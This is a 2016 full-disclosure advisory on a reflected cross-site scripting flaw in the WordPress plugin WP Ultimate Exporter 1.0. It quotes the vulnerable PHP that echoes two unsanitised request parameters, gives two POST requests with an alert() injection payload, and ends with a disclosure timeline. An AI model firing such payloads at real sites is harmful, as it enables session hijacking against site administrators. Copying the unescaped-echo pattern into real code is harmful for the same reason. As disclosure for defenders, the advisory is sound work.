WordPress WP Ultimate Exporter 1.0 Cross Site Scripting

`## FULL DISCLOSURE  
  
  
#Product : WP Ultimate Exporter  
#Exploit Author : Rahul Pratap Singh  
#Version : 1.0  
#Home page Link : https://wordpress.org/plugins/wp-ultimate-exporter/  
#Website : 0x62626262.wordpress.com <http://0x62626262.wordpress.com/>  
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94  
#Date : 24/Feb/2016  
  
XSS Vulnerability:  
  
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Description:  
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"export_name" and "export_post_type_name" parameters are not sanitized   
that leads to Reflected XSS.  
  
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Vulnerable Code:  
----------------------------------------  
File Name: /wp-ultimate-exporter/includes/WUExporterUI.php  
  
Found at line:88  
$export_post_type = isset($_REQUEST['export_name']) ?   
$_REQUEST['export_name'] : '' ;  
  
Found at line:89  
$custom_post = isset($_REQUEST['export_post_type_name']) ?   
$_REQUEST['export_post_type_name'] : '' ;?>  
  
Found at line:91  
  
<input type ="hidden" value = '<?php echo $export_post_type?>'   
name='export_type_name'>  
  
Found at line:92  
  
<input type ="hidden" value = '<?php echo $custom_post?>'   
name='export_custompost_type'>  
  
----------------------------------------  
Exploit:  
----------------------------------------  
POST /wp-admin/admin.php?page=wp_ultimate_exporter&step=exportposttype  
  
export_name="/><input type=text onclick=alert(/XSS/)><!--"  
  
POST /wp-admin/admin.php?page=wp_ultimate_exporter&step=exportposttype  
  
export_post_type_name="/><input type=text onclick=alert(/XSS/)><!--"  
  
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POC:  
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https://0x62626262.files.wordpress.com/2016/02/wp-ultimate-exporter.png?w=1700  
https://0x62626262.files.wordpress.com/2016/02/wp-ultimate-exporter1.png?w=1700  
  
Vulnerability Disclosure Timeline:  
→ January 30, 2016 – Bug discovered, initial report to WordPress  
→ February 1, 2016 – WordPress response, plugin taken down  
→ February 24, 2016 – Plugin up with same version  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author.  
The author is not responsible for any misuse of the information contained  
herein and prohibits any malicious use of all security related information  
or exploits by the author or elsewhere.  
`